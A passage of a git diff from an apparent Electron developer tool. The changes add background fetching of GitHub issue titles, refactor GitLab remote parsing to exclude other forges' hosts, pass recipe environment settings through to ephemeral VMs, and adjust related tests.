+                deps.store.getRepos(),
+                getRepoIdFromWorktreeId(job.worktreeId),
+                job.hostId
+              )
+            : undefined
+          const title = repo ? await deps.readIssueTitle(repo, job.link).catch(() => null) : null
+          if (title?.trim() && !disposed) {
+            apply(job, title.trim())
+          }
+        } catch {
+          // One link whose target changed underneath it (e.g. an alias turned ambiguous) is skipped;
+          // the rest of the queue still drains.
+        }
+      }
+    } finally {
+      draining = false
+    }
+  }
+
+  const unsubscribe = deps.store.onWorktreeMetaWritten(({ worktreeId, hostId, previous, next }) => {
+    // Most writes (stamps, flags, comments) leave links untouched; skip them without normalizing.
+    // linkedWorkItem is re-created on every write and always titled, so it is not compared.
+    if (
+      previous &&
+      previous.instanceId === next.instanceId &&
+      previous.linkedItems === next.linkedItems &&
+      previous.linkedIssue === next.linkedIssue
+    ) {
+      return
+    }
+    const known = new Set(
+      previous?.instanceId === next.instanceId
+        ? untitledGitHubIssues(previous).map(getWorkspaceReferenceIdentity)
+        : []
+    )
+    let added = false
+    for (const link of untitledGitHubIssues(next)) {
+      const identity = getWorkspaceReferenceIdentity(link)
+      if (known.has(identity)) {
+        continue
+      }
+      queue.set(JSON.stringify([hostId, worktreeId, next.instanceId, identity]), {
+        worktreeId,
+        hostId,
+        instanceId: next.instanceId,
+        identity,
+        link
+      })
+      added = true
+    }
+    if (added) {
+      // Run after the caller's write returns; nothing the user asked for waits on GitHub.
+      schedule(() => void drain())
+    }
+  })
+  return () => {
+    disposed = true
+    queue.clear()
+    unsubscribe()
+  }
+}
diff --git a/src/main/github/github-issue-link-title-wiring.ts b/src/main/github/github-issue-link-title-wiring.ts
new file mode 100644
index 00000000000..0c22857efcf
--- /dev/null
+++ b/src/main/github/github-issue-link-title-wiring.ts
@@ -0,0 +1,103 @@
+import type { Repo } from '../../shared/repo-types'
+import { composeWorktreeHostIdentity } from '../../shared/worktree/host-qualified-identity'
+import { getRepoIdFromWorktreeId } from '../../shared/worktree/id'
+import {
+  workspaceMetadataSetRow,
+  type WorkspaceMetadataSet
+} from '../../shared/worktree/workspace-metadata-set'
+import type { WorkspaceAttachment } from '../../shared/worktree/types'
+import { getRepoRoutingConnectionId } from '../../shared/execution-host'
+import type { Store } from '../persistence/loading-store/store'
+import { getLocalProjectGhExecOptions } from '../workspaces/execution-host/project-runtime-git-options'
+import { getIssue } from './issues'
+import { getWorkItemByOwnerRepo } from './client/fetch/get-work-item'
+import { installGitHubIssueLinkTitleFill } from './github-issue-link-title-fill'
+import { readGitHubRepoUnlessWslStopped } from '../ipc/source-control/github-repo-routing'
+
+const GITHUB_ISSUE_PATH = /^\/([^/]+)\/([^/]+)\/issues\/(\d+)$/
+
+function sameIssueUrl(left: string, right: string): boolean {
+  try {
+    const a = new URL(left)
+    const b = new URL(right)
+    return (
+      a.hostname.toLowerCase() === b.hostname.toLowerCase() &&
+      a.pathname.replace(/\/+$/, '').toLowerCase() === b.pathname.replace(/\/+$/, '').toLowerCase()
+    )
+  } catch {
+    return false
+  }
+}
+
+/** Reads a link's issue the way its display does: a URL names its repo; a bare number uses the card's lookup. */
+async function readGitHubIssueLinkTitle(
+  store: Store,
+  repo: Repo,
+  link: WorkspaceAttachment
+): Promise<string | null> {
+  const connectionId = getRepoRoutingConnectionId(repo)
+  const options = getLocalProjectGhExecOptions(store, repo)
+  if (link.url) {
+    const url = new URL(link.url)
+    const route = GITHUB_ISSUE_PATH.exec(url.pathname)
+    if (!route || Number(route[3]) !== link.number) {
+      return null
+    }
+    const item = await getWorkItemByOwnerRepo(
+      repo.path,
+      { owner: route[1], repo: route[2], host: url.hostname },
+      link.number,
+      'issue',
+      connectionId,
+      options,
+      { preview: true }
+    )
+    return item?.type === 'issue' && item.number === link.number && sameIssueUrl(item.url, link.url)
+      ? item.title
+      : null
+  }
+  const issue = await getIssue(repo.path, link.number, connectionId, options)
+  // The issues endpoint also answers PR numbers; a PR's title must not label an issue link.
+  return issue && issue.number === link.number && !/\/pull\/\d+$/.test(issue.url)
+    ? issue.title
+    : null
+}
+
+export function wireGitHubIssueLinkTitleFill(
+  store: Store,
+  runtime: {
+    invalidateResolvedWorktreeCache: () => void
+    publishWorkspaceMetadataSet: (set: WorkspaceMetadataSet) => void
+  }
+): () => void {
+  return installGitHubIssueLinkTitleFill({
+    store,
+    // Background reads never start a stopped WSL distro; the link just stays untitled.
+    readIssueTitle: (repo, link) =>
+      readGitHubRepoUnlessWslStopped(
+        store,
+        repo,
+        () => readGitHubIssueLinkTitle(store, repo, link),
+        {
+          wake: false
+        }
+      ),
+    publish: ({ worktreeId, hostId, meta }) => {
+      // Resolved rows embed metadata; refresh them so the next listing read agrees.
+      runtime.invalidateResolvedWorktreeCache()
+      // Same turn as the title write, so a listing either read it or carries an older seq.
+      const { epoch, seq } = store.advanceWorkspaceMetadataCursor()
+      runtime.publishWorkspaceMetadataSet({
+        kind: 'set',
+        domain: 'workspaceMetadata',
+        hostId,
+        epoch,
+        seq,
+        id: composeWorktreeHostIdentity(hostId, worktreeId),
+        repoId: getRepoIdFromWorktreeId(worktreeId),
+        worktreeId,
+        row: workspaceMetadataSetRow(meta)
+      })
+    }
+  })
+}
diff --git a/src/main/github/github-repository-identity.fork-owner-repo.test.ts b/src/main/github/github-repository-identity.fork-owner-repo.test.ts
index c697801eb0a..5e194798172 100644
--- a/src/main/github/github-repository-identity.fork-owner-repo.test.ts
+++ b/src/main/github/github-repository-identity.fork-owner-repo.test.ts
@@ -1,6 +1,6 @@
 import type * as GitExecFileModule from '../git/command-runner/git-exec-file'
 import type * as GhExecFileModule from '../git/command-runner/gh-exec-file'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 // Fork PR reads prefer upstream while origin-only probes retain the checkout identity.
 
@@ -29,7 +29,11 @@ vi.mock('./local-git-config-signature', () => ({
 import { _resetRemoteNameListingCache } from '../git/remotes/remote-name-listing'
 import { getOwnerRepoForRemote, _resetOwnerRepoCache } from './github-repository-identity'
 import { getOwnerRepo } from './github-owner-repo-selection'
-import { getRepoUpstream } from './client/fetch/repo-slug-upstream'
+import { getRepoUpstream, probeRepoUpstream } from './client/fetch/repo-slug-upstream'
+
+import { acquire, release } from './gh-utils'
+
+afterEach(() => vi.useRealTimers())
 
 const FORK_PATH = '/tmp/fork-checkout'
 const NON_FORK_PATH = '/tmp/plain-checkout'
@@ -43,6 +47,8 @@ const REMOTE_URLS_BY_REPO: Record<string, Record<string, string>> = {
   [NON_FORK_PATH]: {
     origin: 'https://github.com/stablyai/orca.git'
   },
+  '/tmp/gitlab': { origin: 'https://gitlab.com/group/widget.git' },
+  '/tmp/custom': { origin: 'https://code.example.com/group/widget.git' },
   [SSH_FORK_PATH]: {
     origin: 'git@github.com:fsdwen/orca.git',
     upstream: 'git@github.com:stablyai/orca.git'
@@ -117,3 +123,59 @@ describe('issue #7331: fork PR owner/repo resolution', () => {
     expect(ghExecFileAsyncMock).not.toHaveBeenCalled()
   })
 })
+
+describe('optional parent evidence', () => {
+  it.each([
+    ['{"isFork":false}', null],
+    [
+      '{"isFork":true,"parent":{"owner":{"login":"acme"},"name":"widget"}}',
+      { owner: 'acme', repo: 'widget', host: 'github.com' }
+    ],
+    ['{"isFork":true,"parent":null}', undefined],
+    ['{}', undefined],
+    ['invalid', undefined]
+  ])('persists only successful fork evidence from %s', async (stdout, expected) => {
+    ghExecFileAsyncMock.mockResolvedValue({ stdout })
+    expect((await probeRepoUpstream(NON_FORK_PATH)).upstream).toEqual(expected)
+  })
+
+  it('bounds global admission and leaves origin avatar evidence usable on failure', async () => {
+    vi.useFakeTimers()
+    for (let slot = 0; slot < 4; slot++) {
+      await acquire()
+    }
+    try {
+      const pending = probeRepoUpstream(NON_FORK_PATH)
+      await vi.advanceTimersByTimeAsync(10_000)
+      expect(await pending).toEqual({
+        upstream: undefined,
+        origin: { owner: 'stablyai', repo: 'orca', host: 'github.com' }
+      })
+      expect(ghExecFileAsyncMock).not.toHaveBeenCalled()
+      let nextStarted = false
+      const next = acquire().then(() => {
+        nextStarted = true
+        release()
+      })
+      await Promise.resolve()
+      expect(nextStarted).toBe(false)
+      release()
+      await next
+      for (let slot = 0; slot < 3; slot++) {
+        release()
+      }
+    } catch (error) {
+      for (let slot = 0; slot < 4; slot++) {
+        release()
+      }
+      throw error
+    }
+  })
+})
+
+it('settles proven missing/other-forge origins but leaves unclassified custom hosts unknown', async () => {
+  expect(await probeRepoUpstream('/tmp/no-origin')).toEqual({ upstream: null, origin: null })
+  expect(await probeRepoUpstream('/tmp/gitlab')).toEqual({ upstream: null, origin: null })
+  ghExecFileAsyncMock.mockRejectedValue(new Error('auth unavailable'))
+  expect(await probeRepoUpstream('/tmp/custom')).toEqual({ upstream: undefined, origin: null })
+})
diff --git a/src/main/gitlab/gitlab-project-ref-resolution.ts b/src/main/gitlab/gitlab-project-ref-resolution.ts
index 3e3b57a90df..90d69bf6052 100644
--- a/src/main/gitlab/gitlab-project-ref-resolution.ts
+++ b/src/main/gitlab/gitlab-project-ref-resolution.ts
@@ -1,7 +1,6 @@
 import { glabExecFileAsync } from '../git/runner'
 import type { GitAdmissionTier } from '../git/command-runner/git-exec-options'
 import { addWslEnvKeys } from '../../shared/wsl-env'
-import { normalizeForgeWebHost } from '../../shared/git/remotes/git-remote-host-alias'
 import { isTransientGitProbeError, readRemoteUrl } from '../git/remotes/remote-url-probe'
 import { NEGATIVE_ENTRY_TTL_MS } from '../git/remotes/remote-ref-probe-cache'
 import { readLocalGitConfigSignature } from '../github/local-git-config-signature'
@@ -19,7 +18,7 @@ import {
   DEFAULT_GITLAB_HOSTS,
   normalizeGitLabHost,
   parseGitLabProjectRef,
-  parseRemoteProjectRefCandidate,
+  parseGitLabProjectRefCandidate,
   type ProjectRef
 } from './project-ref-parser'
 
@@ -154,19 +153,12 @@ async function resolveProjectRefForRemote(
     if (stdout === null) {
       return null
     }
-    // Stray glab host entries for GitHub/Bitbucket hosts must not claim their remotes (#40386).
-    // Match the real host only: `github:team/project` is an scp remote on an SSH alias named github.
-    const remoteCandidate = parseRemoteProjectRefCandidate(stdout)
-    const remoteHost = remoteCandidate && normalizeForgeWebHost(remoteCandidate.host)
-    if (remoteHost === 'github.com' || remoteHost === 'bitbucket.org') {
-      publish(null)
-      return null
-    }
     const result = parseGitLabProjectRef(stdout, knownHosts)
     if (result) {
       publish(result)
       return result
     }
+    const remoteCandidate = parseGitLabProjectRefCandidate(stdout)
     if (
       remoteCandidate &&
       (await isGlabConfiguredForRemoteHost(
diff --git a/src/main/gitlab/project-ref-parser.test.ts b/src/main/gitlab/project-ref-parser.test.ts
index 6550aa5e402..c83ef13fe26 100644
--- a/src/main/gitlab/project-ref-parser.test.ts
+++ b/src/main/gitlab/project-ref-parser.test.ts
@@ -1,5 +1,5 @@
 import { describe, expect, it } from 'vitest'
-import { parseGitLabProjectRef } from './project-ref-parser'
+import { parseGitLabProjectRef, parseRemoteProjectRefCandidate } from './project-ref-parser'
 
 describe('gitlab project ref parsing', () => {
   it.each([
@@ -43,4 +43,31 @@ describe('gitlab project ref parsing', () => {
       parseGitLabProjectRef('http://gitea.example.com:3030/team/api.git', knownHosts)
     ).toBeNull()
   })
+
+  it('keeps public ownership authoritative without narrowing generic mirror parsing', () => {
+    for (const [remote, host] of [
+      ['https://github.com:8443/team/project.git', 'github.com:8443'],
+      ['git@SSH.GITHUB.COM:team/project.git', 'ssh.github.com'],
+      ['git@acme.ghe.com:team/project.git', 'acme.ghe.com'],
+      ['git@ssh.bitbucket.org:team/project.git', 'ssh.bitbucket.org'],
+      ['https://dev.azure.com/acme/project/_git/repo', 'dev.azure.com'],
+      ['git@ssh.dev.azure.com:v3/acme/project/repo', 'ssh.dev.azure.com'],
+      ['https://acme.visualstudio.com/project/_git/repo', 'acme.visualstudio.com'],
+      ['https://codeberg.org/team/project.git', 'codeberg.org']
+    ]) {
+      expect(parseGitLabProjectRef(remote, [host])).toBeNull()
+    }
+    expect(parseRemoteProjectRefCandidate('git@github.com:team/project.git')).toEqual({
+      host: 'github.com',
+      path: 'team/project'
+    })
+    expect(
+      parseGitLabProjectRef('https://git.bitbucket.acme.com/team/project.git', [
+        'git.bitbucket.acme.com'
+      ])
+    ).toEqual({
+      host: 'git.bitbucket.acme.com',
+      path: 'team/project'
+    })
+  })
 })
diff --git a/src/main/gitlab/project-ref-parser.ts b/src/main/gitlab/project-ref-parser.ts
index 051fdf1d062..96f083a6783 100644
--- a/src/main/gitlab/project-ref-parser.ts
+++ b/src/main/gitlab/project-ref-parser.ts
@@ -1,5 +1,6 @@
 import type { GitLabProjectRef } from '../../shared/gitlab-types'
 import { normalizeGitLabRemoteHost } from '../../shared/git/remotes/git-remote-host-alias'
+import { getPublicForgeProviderForHost } from '../../shared/git/remotes/public-forge-host'
 
 export type ProjectRef = GitLabProjectRef
 
@@ -47,19 +48,6 @@ function knownHostMatches(urlHost: string, knownHost: string): boolean {
   return false
 }
 
-function makeProjectRef(
-  host: string,
-  path: string,
-  knownHosts: readonly string[]
-): ProjectRef | null {
-  const normalizedHost = normalizeGitLabRemoteHost(host)
-  const normalizedKnownHosts = knownHosts.map(normalizeGitLabHost)
-  if (!normalizedKnownHosts.some((knownHost) => knownHostMatches(normalizedHost, knownHost))) {
-    return null
-  }
-  return makeProjectRefForTrustedHost(normalizedHost, path)
-}
-
 export function parseRemoteProjectRefCandidate(remoteUrl: string): ProjectRef | null {
   const trimmed = remoteUrl.trim()
   if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(trimmed)) {
@@ -80,25 +68,24 @@ export function parseRemoteProjectRefCandidate(remoteUrl: string): ProjectRef |
   }
 }
 
+export function parseGitLabProjectRefCandidate(remoteUrl: string): ProjectRef | null {
+  const candidate = parseRemoteProjectRefCandidate(remoteUrl)
+  if (!candidate) {
+    return null
+  }
+  const owner = getPublicForgeProviderForHost(candidate.host)
+  return owner && owner !== 'gitlab' ? null : candidate
+}
+
 export function parseGitLabProjectRef(
   remoteUrl: string,
   knownHosts: readonly string[] = DEFAULT_GITLAB_HOSTS
 ): ProjectRef | null {
-  const trimmed = remoteUrl.trim()
-  if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(trimmed)) {
-    const scpLike = trimmed.match(/^(?:[^@/:]+@)?([^:\s/]+):([^\s]+?)(?:\.git)?$/)
-    if (scpLike) {
-      return makeProjectRef(scpLike[1], scpLike[2], knownHosts)
-    }
-  }
-
-  try {
-    const url = new URL(trimmed)
-    if (!['http:', 'https:', 'ssh:', 'git:', 'git+ssh:'].includes(url.protocol.toLowerCase())) {
-      return null
-    }
-    return makeProjectRef(hostIdentityFromUrl(url), url.pathname, knownHosts)
-  } catch {
+  const candidate = parseGitLabProjectRefCandidate(remoteUrl)
+  if (!candidate) {
     return null
   }
+  return knownHosts.some((host) => knownHostMatches(candidate.host, normalizeGitLabHost(host)))
+    ? candidate
+    : null
 }
diff --git a/src/main/gitlab/task-project-eligibility.test.ts b/src/main/gitlab/task-project-eligibility.test.ts
index 894a356e3d7..1844b499abb 100644
--- a/src/main/gitlab/task-project-eligibility.test.ts
+++ b/src/main/gitlab/task-project-eligibility.test.ts
@@ -25,6 +25,8 @@ vi.mock('../git/command-runner/gh-exec-file', async (importOriginal) => ({
 }))
 
 import { listMergeRequests } from './merge-request-list'
+import { isTaskRepositoryIneligible } from '../git/task-repository-eligibility'
+import { rememberGlabKnownHosts } from './gitlab-known-host-probe'
 import { listIssues } from './issues'
 import { _resetProjectRefCache, _resetKnownHostsCache } from './gitlab-project-ref-resolution'
 import { _resetRemoteNameListingCache } from '../git/remotes/remote-name-listing'
@@ -132,4 +134,9 @@ describe('GitLab task project admission', () => {
     expect(result.items).toEqual([])
     expect(glab.mock.calls.filter(([args]) => args[0] !== 'auth')).toEqual([])
   })
+
+  it('does not exclude GitHub tasks because glab remembers github.com', async () => {
+    rememberGlabKnownHosts(['github.com'])
+    await expect(isTaskRepositoryIneligible('/github', 'github')).resolves.toBe(false)
+  })
 })
diff --git a/src/main/ipc/browser/desktop-browser-bridge-wiring.ts b/src/main/ipc/browser/desktop-browser-bridge-wiring.ts
index e6f533b851a..cd40d4ad535 100644
--- a/src/main/ipc/browser/desktop-browser-bridge-wiring.ts
+++ b/src/main/ipc/browser/desktop-browser-bridge-wiring.ts
@@ -5,7 +5,9 @@ import {
   DESKTOP_BROWSER_BRIDGE_CANCEL_CAPABILITY,
   DESKTOP_BROWSER_BRIDGE_EXPECT_URL_CAPABILITY,
   DESKTOP_BROWSER_BRIDGE_RUNTIME_CAPABILITY,
-  isDesktopBrowserBridgeMethod
+  DESKTOP_BROWSER_BRIDGE_TAB_ANNOTATIONS_CAPABILITY,
+  isDesktopBrowserBridgeMethod,
+  isHostReachableDocument
 } from '../../../shared/desktop-browser-bridge-protocol'
 import { ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES } from '../../../shared/electron-remote-runtime-client-capabilities'
 import '../../../shared/remote-runtime/requests/remote-runtime-request-socket'
@@ -22,10 +24,7 @@ import {
   DesktopBrowserBridgeManager,
   type DesktopBrowserBridgeCandidate
 } from '../../browser/desktop-browser-bridge/desktop-browser-bridge-manager'
-import {
-  executeDesktopBrowserBridgeRequest,
-  isHostReachableDocument
-} from '../../browser/desktop-browser-bridge/desktop-browser-bridge-executor'
+import { executeDesktopBrowserBridgeRequest } from '../../browser/desktop-browser-bridge/desktop-browser-bridge-executor'
 import { rendererResolveRemoteCliWorkspace } from '../../browser/desktop-browser-bridge/desktop-browser-bridge-renderer-scope'
 import type { OrcaRuntimeService } from '../../runtime/orca-runtime'
 import { RpcDispatcher } from '../../runtime/rpc/dispatcher'
@@ -153,7 +152,8 @@ export function installDesktopBrowserBridge(options: {
             ...ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES,
             DESKTOP_BROWSER_BRIDGE_RUNTIME_CAPABILITY,
             DESKTOP_BROWSER_BRIDGE_CANCEL_CAPABILITY,
-            DESKTOP_BROWSER_BRIDGE_EXPECT_URL_CAPABILITY
+            DESKTOP_BROWSER_BRIDGE_EXPECT_URL_CAPABILITY,
+            DESKTOP_BROWSER_BRIDGE_TAB_ANNOTATIONS_CAPABILITY
           ]
         }
       )
diff --git a/src/main/ipc/computer-use-permissions.ts b/src/main/ipc/computer-use-permissions.ts
index 8919acc42c7..5284a649751 100644
--- a/src/main/ipc/computer-use-permissions.ts
+++ b/src/main/ipc/computer-use-permissions.ts
@@ -6,6 +6,7 @@ import type {
   ComputerUsePermissionStatusResult
 } from '../../shared/computer-use-permissions-types'
 import { computerUsePermissionStatusGate } from '../computer/macos-computer-use-permission-status-gate'
+import { mainI18n } from '../i18n/main-i18n'
 
 export function registerComputerUsePermissionHandlers(): void {
   ipcMain.handle(
@@ -16,7 +17,7 @@ export function registerComputerUsePermissionHandlers(): void {
     ): Promise<ComputerUsePermissionSetupResult> => {
       const { openComputerUsePermissions } =
         await import('../computer/macos-computer-use-permissions')
-      return openComputerUsePermissions(args?.id)
+      return openComputerUsePermissions(args?.id, mainI18n.resolvedLanguage ?? mainI18n.language)
     }
   )
   ipcMain.handle(
diff --git a/src/main/ipc/ephemeral-vm-provision-cancel.test.ts b/src/main/ipc/ephemeral-vm-provision-cancel.test.ts
index 5ffa3e55049..d265ccdedd7 100644
--- a/src/main/ipc/ephemeral-vm-provision-cancel.test.ts
+++ b/src/main/ipc/ephemeral-vm-provision-cancel.test.ts
@@ -1,6 +1,7 @@
-import { existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { existsSync, mkdtempSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, expect, it, vi } from 'vitest'
 
 const handlers = new Map<string, (_event: unknown, args: never) => unknown>()
@@ -24,10 +25,8 @@ import { registerEphemeralVmHandlers } from './ephemeral-vm'
 
 const tempDirs: string[] = []
 
-afterEach(() => {
-  for (const dir of tempDirs.splice(0)) {
-    rmSync(dir, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tempDirs.splice(0))
   vi.clearAllMocks()
 })
 
diff --git a/src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts b/src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts
index 190c3268bc4..857c841a9a2 100644
--- a/src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts
+++ b/src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts
@@ -1,7 +1,8 @@
 import { execFileSync } from 'node:child_process'
-import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
 
 const handlers = new Map<string, (_event: unknown, args: never) => unknown>()
@@ -43,9 +44,8 @@ beforeEach(() => {
   })
 })
 
-afterEach(() => {
-  rmSync(userDataPath, { recursive: true, force: true })
-  rmSync(repoPath, { recursive: true, force: true })
+afterEach(async () => {
+  await removeTempDirs([userDataPath, repoPath])
   vi.clearAllMocks()
 })
 
diff --git a/src/main/ipc/ephemeral-vm-recipe-context.ts b/src/main/ipc/ephemeral-vm-recipe-context.ts
index 3990f9827bf..1595c87df44 100644
--- a/src/main/ipc/ephemeral-vm-recipe-context.ts
+++ b/src/main/ipc/ephemeral-vm-recipe-context.ts
@@ -110,11 +110,12 @@ export function getRuntimeRecipeContext(
     // holds the same recipe, so a different checkout later placed there can't run its scripts.
     const fallback = runtime.recipe && runtime.repoPath ? runtime.recipe : null
     if (fallback && runtime.repoPath) {
-      const sameRecipe = (loadHooks(runtime.repoPath)?.environmentRecipes ?? []).some(
+      const sameRecipe = (loadHooks(runtime.repoPath)?.environmentRecipes ?? []).find(
         (entry) => entry.id === fallback.id && entry.create === fallback.create
       )
       if (sameRecipe) {
-        return { runtime, repoPath: runtime.repoPath, recipe: fallback }
+        const passEnv = sameRecipe.passEnv ? { passEnv: sameRecipe.passEnv } : {}
+        return { runtime, repoPath: runtime.repoPath, recipe: { ...fallback, ...passEnv } }
       }
     }
     throw new EphemeralVmFailureError(
@@ -128,11 +129,15 @@ export function getRuntimeRecipeContext(
   // Snapshots never persist timeoutSeconds, so take the repo's current limits (lifecycle commands stay
   // snapshotted). Only when the repo recipe has the same create command, so a different recipe that
   // later took this id (e.g. a repo recipe shadowing a plugin one) cannot impose its limits.
-  const limits =
-    repoRecipe?.timeoutSeconds && repoRecipe.create === runtime.recipe?.create
+  // passEnv follows the same rule, so suspend/resume/destroy see the environment create saw.
+  const sameCreate = repoRecipe !== undefined && repoRecipe.create === runtime.recipe?.create
+  const fromRepo = {
+    ...(sameCreate && repoRecipe.timeoutSeconds
       ? { timeoutSeconds: repoRecipe.timeoutSeconds }
-      : {}
-  const recipe = runtime.recipe ? { ...runtime.recipe, ...limits } : repoRecipe
+      : {}),
+    ...(sameCreate && repoRecipe.passEnv ? { passEnv: repoRecipe.passEnv } : {})
+  }
+  const recipe = runtime.recipe ? { ...runtime.recipe, ...fromRepo } : repoRecipe
   if (!recipe) {
     throw new EphemeralVmFailureError(
       ephemeralVmFailure('recipeNotFound', { recipeId: runtime.recipeId })
diff --git a/src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts b/src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts
index 96a52a900b4..e88b1dc316d 100644
--- a/src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts
+++ b/src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts
@@ -1,6 +1,7 @@
-import { existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { existsSync, mkdtempSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
 import { upsertEphemeralVmRuntime } from '../../shared/ephemeral-vm-runtime-store'
 import type * as RuntimeEnvironmentStore from '../../shared/remote-runtime/host-store/runtime-environment-store'
@@ -65,10 +66,8 @@ beforeEach(() => {
   )
 })
 
-afterEach(() => {
-  for (const dir of tempDirs.splice(0)) {
-    rmSync(dir, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tempDirs.splice(0))
 })
 
 it('removes the hidden SSH target when provider cleanup cannot start', async () => {
diff --git a/src/main/ipc/ephemeral-vm-runtime-handlers.ts b/src/main/ipc/ephemeral-vm-runtime-handlers.ts
index 8a721827c74..f06d1116771 100644
--- a/src/main/ipc/ephemeral-vm-runtime-handlers.ts
+++ b/src/main/ipc/ephemeral-vm-runtime-handlers.ts
@@ -1,5 +1,6 @@
 import { app, BrowserWindow, ipcMain } from 'electron'
 import type { Store } from '../persistence/loading-store/store'
+import { listCredentialLikeEnvNames } from '../../shared/ephemeral-vm-recipe-env'
 import {
   listEphemeralVmRuntimes,
   updateEphemeralVmRuntimeStatus
@@ -112,9 +113,15 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
   ipcMain.removeHandler('ephemeralVm:stopCleanup')
   ipcMain.removeHandler('ephemeralVm:forgetRuntime')
   ipcMain.removeHandler('ephemeralVm:getCleanupCommand')
+  ipcMain.removeHandler('ephemeralVm:listCredentialEnvNames')
   stopRuntimesChangedBroadcast?.()
   stopRuntimesChangedBroadcast = onEphemeralVmRuntimesChanged(broadcastEphemeralVmRuntimesChanged)
 
+  // Names only: the recipe list warns which credentials scripts inherit, never their values.
+  ipcMain.handle('ephemeralVm:listCredentialEnvNames', () =>
+    listCredentialLikeEnvNames(process.env)
+  )
+
   ipcMain.handle('ephemeralVm:listRuntimes', (): EphemeralVmRuntimeRecord[] => {
     return listEphemeralVmRuntimes(app.getPath('userData'))
   })
diff --git a/src/main/ipc/ephemeral-vm.test.ts b/src/main/ipc/ephemeral-vm.test.ts
index 6dd61f6f944..22b8758ca87 100644
--- a/src/main/ipc/ephemeral-vm.test.ts
+++ b/src/main/ipc/ephemeral-vm.test.ts
@@ -1,6 +1,7 @@
 import { existsSync, mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../../shared/remote-runtime/pairing/pairing'
 import { PAIRING_OFFER_VERSION } from '../../shared/remote-runtime/pairing/mobile-relay-pairing-offer'
@@ -57,10 +58,8 @@ import { toWorkspaceLifecycleResult } from '../ephemeral-vm/workspace-lifecycle-
 
 const tempDirs: string[] = []
 
-afterEach(() => {
-  for (const dir of tempDirs.splice(0)) {
-    rmSync(dir, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tempDirs.splice(0))
 })
 
 function makeDir(prefix: string): string {
@@ -111,10 +110,7 @@ function pluginServiceWithRecipes(
 }
 
 describe('registerEphemeralVmHandlers', () => {
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
-
   beforeEach(() => {
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
     handlers.clear()
     handleMock.mockReset()
     removeHandlerMock.mockReset()
@@ -140,12 +136,6 @@ describe('registerEphemeralVmHandlers', () => {
     })
   })
 
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-  })
-
   it('uses an immutable plugin recipe snapshot after the plugin is removed', async () => {
     const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
     const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
diff --git a/src/main/ipc/pty/ipc/spawn-types.ts b/src/main/ipc/pty/ipc/spawn-types.ts
index 1a52a464b4c..08bd61db360 100644
--- a/src/main/ipc/pty/ipc/spawn-types.ts
+++ b/src/main/ipc/pty/ipc/spawn-types.ts
@@ -65,8 +65,6 @@ export type PtySpawnIpcArgs = {
   spawnIntent?: unknown
   // Only `true` counts: a window restore no user act asked for.
   wslPassiveRestore?: unknown
-  // Only `true` counts: the user just chose to let agents ask, even if saving that answer failed.
-  skipAgentWorkspaceTrust?: unknown
   // Validate untyped launch input through AgentLaunch.safeParse.
   agentLaunch?: unknown
   // Main validates renderer telemetry; retain unknown input types at the IPC boundary.
diff --git a/src/main/ipc/pty/spawn-options-assembly.ts b/src/main/ipc/pty/spawn-options-assembly.ts
index ba8e3d5b1a0..93fcecc7e12 100644
--- a/src/main/ipc/pty/spawn-options-assembly.ts
+++ b/src/main/ipc/pty/spawn-options-assembly.ts
@@ -93,7 +93,6 @@ export type PtySpawnLaunchOptionsInput = {
     connectionId?: string | null
     shellOverride?: string
     telemetry?: { agent_kind?: unknown }
-    skipAgentWorkspaceTrust?: unknown
   }
   env: Record<string, string> | undefined
   /** Mutated: OpenCode prep may add the keys its launch must drop. */
@@ -210,7 +209,6 @@ export async function assemblePtySpawnLaunchOptions(input: PtySpawnLaunchOptions
     launchAgent: args.launchAgent,
     worktreeId: args.worktreeId,
     trustWorktreeId: args.trustWorktreeId,
-    skipForThisLaunch: args.skipAgentWorkspaceTrust === true,
     cwd: input.cwd,
     store: input.store,
     isFreshLaunch: !input.preAdoptedStablePane && launchCommand !== undefined,
diff --git a/src/main/ipc/repos-nested-import.test.ts b/src/main/ipc/repos-nested-import.test.ts
index f70d1a9bae3..155752334ef 100644
--- a/src/main/ipc/repos-nested-import.test.ts
+++ b/src/main/ipc/repos-nested-import.test.ts
